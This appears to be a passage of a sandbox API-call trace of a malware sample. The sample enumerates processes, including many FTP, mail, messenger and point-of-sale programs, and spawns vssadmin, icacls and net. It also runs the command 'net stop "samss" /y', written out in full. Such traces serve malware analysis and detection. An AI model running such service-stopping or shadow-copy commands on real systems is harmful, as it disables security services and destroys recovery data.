	[0268.858] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0268.860] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0268.863] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0268.865] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0269.323] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0269.326] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0269.328] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0269.331] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0269.333] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0269.336] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0269.339] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0269.341] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0269.343] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0269.346] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0269.348] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0269.351] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0269.353] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0269.355] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0269.357] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0269.360] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0269.362] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0269.364] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0269.646] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0269.649] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0269.651] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0269.653] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0269.656] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0269.658] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0269.660] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0269.663] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0269.665] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0269.667] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0269.669] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0269.672] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0269.674] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0269.676] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0269.872] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0269.875] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0269.877] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0269.880] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0269.882] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0269.885] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0269.887] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0269.889] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0269.891] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0269.894] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0269.896] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0269.898] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0269.901] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0269.903] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0269.905] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0269.907] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0269.909] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0270.099] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.101] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0270.103] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0270.104] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.116] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0270.118] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.120] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0270.121] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0270.123] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0270.125] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.127] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0270.128] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x372c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.130] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x38f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3714, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0270.132] Process32NextW (in: hSnapshot=0x9ac, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x38f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3714, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 0
	[0270.133] CloseHandle (hObject=0x9ac) returned 1
	[0270.133] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2e63d0
	[0270.134] EnumServicesStatusW (in: hSCManager=0x2e63d0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x0, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 0
	[0270.135] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x27e0000
	[0270.136] EnumServicesStatusW (in: hSCManager=0x2e63d0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x27e0000, cbBufSize=0x17b5, pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0 | out: lpServices=0x27e0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2bdf948, lpServicesReturned=0x2bdf940, lpResumeHandle=0x2bdf6b0) returned 1
	[0270.137] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0270.622] Sleep (dwMilliseconds=0x96) 
	[0275.271] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.272] Sleep (dwMilliseconds=0xc350) 

Thread:
	id = 8
	os_tid = 0x854


Thread:
	id = 27
	os_tid = 0x8b4


Thread:
	id = 31
	os_tid = 0x914


Thread:
	id = 40
	os_tid = 0x9f4


Thread:
	id = 84
	os_tid = 0xad4


Thread:
	id = 151
	os_tid = 0x64


Thread:
	id = 191
	os_tid = 0x454


Thread:
	id = 228
	os_tid = 0xc4c


Thread:
	id = 335
	os_tid = 0xe18


Thread:
	id = 684
	os_tid = 0x1184


Thread:
	id = 905
	os_tid = 0x818


Thread:
	id = 993
	os_tid = 0x1538


Thread:
	id = 1077
	os_tid = 0x16e4

	[0190.902] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x280
	[0190.931] Process32FirstW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0190.935] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0190.938] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0190.941] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0191.100] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0191.247] Process32NextW (in: hSnapshot=0x280, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
